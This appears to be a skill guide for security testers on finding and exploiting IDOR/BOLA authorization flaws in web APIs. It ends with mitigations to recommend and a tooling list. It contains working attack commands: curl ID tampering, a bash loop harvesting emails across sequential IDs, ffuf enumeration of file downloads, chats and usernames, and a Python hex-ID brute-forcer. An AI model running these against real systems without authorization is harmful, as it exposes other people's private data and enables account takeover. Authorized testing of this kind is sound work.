IDOR/BOLA Testing Skill
This skill helps you identify and exploit Insecure Direct Object Reference (IDOR) and Broken Object Level Authorization (BOLA) vulnerabilities in web applications and APIs.
What is IDOR/BOLA?
IDOR/BOLA occurs when a web or API endpoint accepts a user-controllable identifier that is used directly to access an internal object without verifying that the caller is authorized to access or modify that object.
Impact:
- Horizontal privilege escalation (access other users' data)
- Vertical privilege escalation (gain admin functionality)
- Mass data breaches (sequential IDs)
- Account takeover (steal tokens, reset passwords)
1. Finding Potential IDORs
Step 1: Identify Object References
Look for parameters that reference objects in these locations:
URL Path:
/api/user/1234/files/550e8400-e29b-41d4-a716-446655440000
Query Parameters:
?id=42?invoice=2024-00001
Request Body (JSON):
{"user_id": 321, "order_id": 987}
Headers/Cookies:
X-Client-ID: 4711
Step 2: Prioritize Endpoints
Focus on endpoints that read or update data:
GET- data retrievalPUT/PATCH- data modificationDELETE- data removal
Step 3: Check ID Predictability
Note when identifiers are sequential or predictable:
- If your ID is
64185742, then64185741probably exists - Auto-increment IDs are high-risk
- UUIDs/ULIDs are lower-risk but still testable
Step 4: Test with Low-Privilege Session
- Authenticate as a low-privilege user
- Change only the ID parameter
- Keep the same token/cookie
- No authorization error = likely IDOR
2. Manual Testing
Basic ID Tampering
Use Burp Repeater or curl to modify object IDs:
# Example: Modify lead_id to access another user's data
curl -X PUT 'https://target.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$YOUR_SESSION" \
-d '{"lead_id":64185741}'
What to look for:
- Same response structure with different user's data
- No 403/401 errors when accessing other users' objects
- JWT tokens or session data in responses
3. Automated Enumeration
Sequential ID Enumeration
For predictable numeric IDs, enumerate the range:
# Sequential ID sweep
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://target.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'$id'}' | jq -e '.email' && echo "Hit $id";
done
File Download ID Enumeration (ffuf)
For file hosting panels with endpoints like /download.php?id=<int>:
ffuf -u http://target.com/download.php?id=FUZZ \
-H "Cookie: PHPSESSID=<session>" \
-w <(seq 0 6000) \
-fr 'File Not Found' \
-o hits.json
# Extract valid URLs
jq -r '.results[].url' hits.json
Key flags:
-frremoves 404-style responses, keeping only true hits-osaves results for post-processing
Multi-Parameter ID Fuzzing
For endpoints accepting multiple IDs (e.g., chat between users):
ffuf -u 'http://target/chat.php?chat_users[0]=NUM1&chat_users[1]=NUM2' \
-w <(seq 1 62):NUM1 -w <(seq 1 62):NUM2 \
-H 'Cookie: PHPSESSID=<session>' \
-ac -o chats.json -of json
# Remove symmetric duplicates (A,B) vs (B,A)
jq -r '.results[] | select((.input.NUM1|tonumber) < (.input.NUM2|tonumber)) | .url' chats.json
Error-Response Oracle Enumeration
When endpoints return different errors for different conditions:
# Enumerate valid usernames via error messages
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'
# Once valid users found, request specific files
# /view.php?username=amanda&file=privacy.odt
Error patterns to exploit:
- Non-existent username → "User not found"
- Bad filename but valid extension → "File does not exist"
- Bad extension → validation error
4. Encoded ID Testing
Hex/Base64 Encoded IDs
Encoding does not add entropy. Test encoded IDs:
import requests
def to_hex(s):
return ''.join(f"{ord(c):02x}" for c in s)
for band_id in ["C-285-100", "T-544-492"]:
hex_id = to_hex(band_id)
r = requests.get("https://target.com/api", params={"id": hex_id})
if r.ok and "media" in r.text:
print(band_id, "->", r.json())
Burp Intruder approach:
- Build candidate IDs (e.g.,
[A-Z]-###-###) - Use Pitchfork or Cluster Bomb attack
- Add payload processing rule → ASCII hex encoding
- Grep-match for valid response markers
5. Validation Checklist
After finding a potential IDOR, verify:
- Can you access data from multiple different users?
- Does the vulnerability work with different ID ranges?
- Are there rate limits preventing enumeration?
- Can you modify data, not just read it?
- Does it affect admin-only endpoints (vertical escalation)?
- Are there tokens or session data exposed?
6. Mitigations to Recommend
When reporting IDOR findings, recommend:
- Enforce object-level authorization on every request (
user_id == session.user) - Prefer indirect, unguessable identifiers (UUIDv4, ULID) over auto-increment IDs
- Perform authorization server-side, never rely on hidden form fields or UI controls
- Implement RBAC/ABAC checks in central middleware
- Add rate-limiting & logging to detect ID enumeration
- Security test every new endpoint (unit, integration, DAST)
7. Tooling
Burp Suite Extensions:
- Authorize - test authorization across users
- Auto Repeater - automate request modification
- Turbo Intruder - high-speed fuzzing
OWASP ZAP:
- Auth Matrix - test authorization matrices
- Forced Browse - discover hidden endpoints
Open Source Tools:
bwapp-idor-scanner- automated IDOR detectionBlindy- bulk IDOR hunting
Quick Reference
Common IDOR patterns:
/api/user/<id>- user data access/files/<id>- file downloads?order_id=<id>- order information?invoice=<id>- invoice dataX-Client-ID: <id>- client-specific data
Response indicators of IDOR:
- Same response structure with different user data
- No 403/401 when accessing other users' objects
- JWT tokens or session data in responses
- Different error messages for different ID types
When to escalate:
- Mass data exposure (millions of records)
- Admin functionality accessible
- Token/session hijacking possible
- PII or sensitive data exposed